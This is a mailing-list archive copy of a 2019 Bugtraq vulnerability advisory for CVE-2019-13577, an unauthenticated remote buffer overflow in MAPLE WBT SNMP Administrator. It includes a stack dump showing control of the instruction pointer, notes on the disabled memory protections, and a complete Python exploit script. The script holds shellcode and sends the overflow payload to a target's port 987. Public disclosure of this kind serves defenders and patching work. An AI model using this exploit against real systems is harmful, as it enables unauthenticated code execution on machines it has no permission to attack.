lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201907170420.x6H4Kxmn028477@ip-100-122-153-233.us-east-1.ec2.aws.symcpe.net>
Date: Wed, 17 Jul 2019 04:20:59 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: CVE-2019-13577 / MAPLE Computer WBT SNMP Administrator
 v2.0.195.15 / Unauthenticated Remote Buffer Overflow Code Execution 0day

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAPLE-WBT-SNMP-ADMINISTRATOR-v2.0.195.15-REMOTE-BUFFER-OVERFLOW-CODE-EXECUTION-0DAY.txt
[+] ISR: Apparition Security        
 

[Vendor]
www.computerlab.com


[Product]
MAPLE Computer WBT SNMP Administrator (Thin Client Administrator)
v2.0.195.15

https://www.computerlab.com/index.php/downloads/category/27-device-manager
ftp://downloads.computerlab.com/software/SnmpSetup.195.15.EXE
SnmpSetup.195.15.EXE MD5 File Hash: a3913aae166c11ddd21dca437e78c3f4

The CLI Thin Client Manager is designed to provide remote management and control of CLI Thin Clients.
This software is built on the TCP/IP industry standard SNMP (Simple Network Communication Protocol).
Agents are built into the clients for remote management and configuration.


[Vulnerability Type]
Unauthenticated Remote Buffer Overflow Code Execution 0day


[CVE Reference]
CVE-2019-13577


[Security Issue]
SnmpAdm.exe in MAPLE WBT SNMP Administrator v2.0.195.15 has an Unauthenticated Remote Buffer Overflow via a long string to the CE Remote feature listening on Port 987.
This will overwrite data on the stack/registers and allow for control of the programs execution flow resulting in attacker supplied remote code execution.
Authentication is not required for this exploit.

This program seems to be packed using ASPack v2.12 and can be difficult to unpack because it uses self-modifying code.
When installing the vulnerable program if asks for a serial number just enter a value of "1" or something.
Upon launching the program if any errors occur try right click SnmpAdm.exe and run it as Admin.
Interestingly, it seems to drop DLLs with .tmp extensions in AppData\Local\Temp directory, make OS system files viewable in explorer to see them.

e.g. 

C:\Users\blah\AppData\Local\Temp\~ip6B92.tmp

ASLR / SEH are all set to False which help to make exploitation more portable. 

CALL EBX
10008FB3   0x10008fb3 : call ebx | null {PAGE_EXECUTE_READ} [ipwSNMPv5.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1364 (C:\Program Files (x86)\SnmpAdm\ipwSNMPv5.dll)

Stack dump:

EAX 41414141
ECX 0018FEFC
EDX 0018FF10
EBX 022DDA78 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESP 0018FECC
EBP 0018FEF4
ESI 0018FF10
EDI 0018FEFC
EIP 41414141
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_NO_SCROLLBARS (000005A7)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)



[Exploit/POC]
from socket import *
import struct,sys,argparse

#MAPLE WBT SNMP Administrator (SnmpAdm.exe) v2.0.195.15
#CVE-2019-13577
#Remote Buffer Overflow 0day
#hyp3rlinx - ApparitionSec

#Pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")

eip = struct.pack("<L", 0x10008fb3)      #JMP EBX
popebx = struct.pack("<L", 0x022C0012)   #5B POP EBX

buf0="B"*693704 
buf1=eip
buf2=popebx+sc+"R"*899+"W"*23975 
payload=buf0+buf1+buf2

def doit(IP,payload):
    try:
        s=socket(AF_INET, SOCK_STREAM)        
        s.connect((IP, 987))
        s.send(payload)
        print "CVE-2019-13577 - WBT SNMP Administrator Buffer Overflow 0day."
        print "hyp3rlinx"
        s.close()
    except Exception as e:
        print str(e)

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--ipaddress", help="IP of Target CVE-2019-13577")
    return parser.parse_args()

def main(args):
    doit(args.ipaddress,payload)


if __name__ == "__main__":
    if not len(sys.argv) > 1:
        print "[*] No args supplied see Help -h"
        exit()
    main(parse_args())





[POC Video URL]
https://www.youtube.com/watch?v=THMqueCIrFw


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: July 10, 2019
Second vendor notification attempt: July 13, 2019
No vendor replies.
July 17, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ